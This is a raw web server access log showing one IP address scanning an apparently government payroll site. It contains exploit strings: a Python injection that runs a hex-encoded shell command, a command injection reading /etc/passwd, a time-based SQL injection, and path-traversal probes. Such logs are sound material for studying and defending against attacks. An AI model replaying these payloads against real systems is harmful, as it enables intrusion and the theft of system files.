[16/Oct/2024:15:52:22 -0700] "POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1" 404 6609 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.207.211.133 - - [16/Oct/2024:15:52:22 -0700] "POST /cgi-bin/login.cgi HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.9.21" 45.207.211.133 - - [16/Oct/2024:15:52:25 -0700] "POST /module/ HTTP/1.1" 301 247 "https://www.npayroll.nicn.gov.ngadmin/view:modules/load_module:users" "Mozilla/5.0 (ZZ; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0" 45.207.211.133 - - [16/Oct/2024:15:52:25 -0700] "POST /module/ HTTP/1.1" 301 247 "https://www.npayroll.nicn.gov.ngadmin/view:modules/load_module:users" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15" 45.207.211.133 - - [16/Oct/2024:15:52:25 -0700] "POST /module/ HTTP/1.1" 301 247 "https://www.npayroll.nicn.gov.ngadmin/view:modules/load_module:users" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14) AppleWebKit/616.21 (KHTML, like Gecko) Version/17.0 Safari/616.21" 45.207.211.133 - - [16/Oct/2024:15:52:28 -0700] "POST /wp-admin/admin-ajax.php HTTP/1.1" 404 6609 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14) AppleWebKit/617.14 (KHTML, like Gecko) Version/17.4.63 Safari/617.14" 45.207.211.133 - - [16/Oct/2024:15:52:29 -0700] "GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/2nT3eg8Gflr8H49345JkczAXgwv.txt HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:15:52:29 -0700] "GET /webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f20224d6d35554d3256705a577730546d567a64557431616b6872525670526233644c616c467922207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5 HTTP/1.1" 404 6579 "https://www.npayroll.nicn.gov.ng/webadmin/admin/service_manager_data.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 HeyTapBrowser/45.11.0.1.1 Chrome/91.0.4472.88" 45.207.211.133 - - [16/Oct/2024:15:52:30 -0700] "GET /webadmin/out HTTP/1.1" 404 6579 "https://www.npayroll.nicn.gov.ng/webadmin/admin/service_manager_data.php" "Mozilla/5.0 (SS; Linux i686; rv:120.0) Gecko/20100101 Firefox/120.0" 45.207.211.133 - - [16/Oct/2024:16:12:23 -0700] "POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0" 45.207.211.133 - - [16/Oct/2024:16:12:28 -0700] "POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:16:12:28 -0700] "POST /pandora_console/ajax.php?page=include/ajax/events&perform_event_response=10000000&target=cat+/etc/passwd&response_id=1 HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.6.24" 45.207.211.133 - - [16/Oct/2024:16:12:29 -0700] "GET /fuel/pages/items/?search_term&published&layout&limit=50&view_type=list&offset=0&order=asc&col=location+AND+(SELECT+1340+FROM+(SELECT(SLEEP(6)))ULQV)&fuel_inline=0 HTTP/1.1" 301 430 "https://npayroll.nicn.gov.ng" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:16:12:29 -0700] "POST /fuel/login/ HTTP/1.1" 301 247 "https://npayroll.nicn.gov.ng" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.7.21" 45.207.211.133 - - [16/Oct/2024:16:12:29 -0700] "GET /fuel/login/ HTTP/1.1" 301 247 "-" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:16:12:29 -0700] "POST /context.json HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:16:12:29 -0700] "POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0" 45.207.211.133 - - [16/Oct/2024:16:12:29 -0700] "POST /mifs/.;/services/LogService HTTP/1.1" 404 6579 "https://npayroll.nicn.gov.ng" "Mozilla/5.0 (Debian; Linux i686; rv:121.0) Gecko/20100101 Firefox/121.0" 45.207.211.133 - - [16/Oct/2024:16:12:30 -0700] "POST /run HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) \t\t\tChrome/55.0.2883.95 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:16:12:30 -0700] "GET /user/login HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.51" 45.207.211.133 - - [16/Oct/2024:16:12:32 -0700] "GET /user/login HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"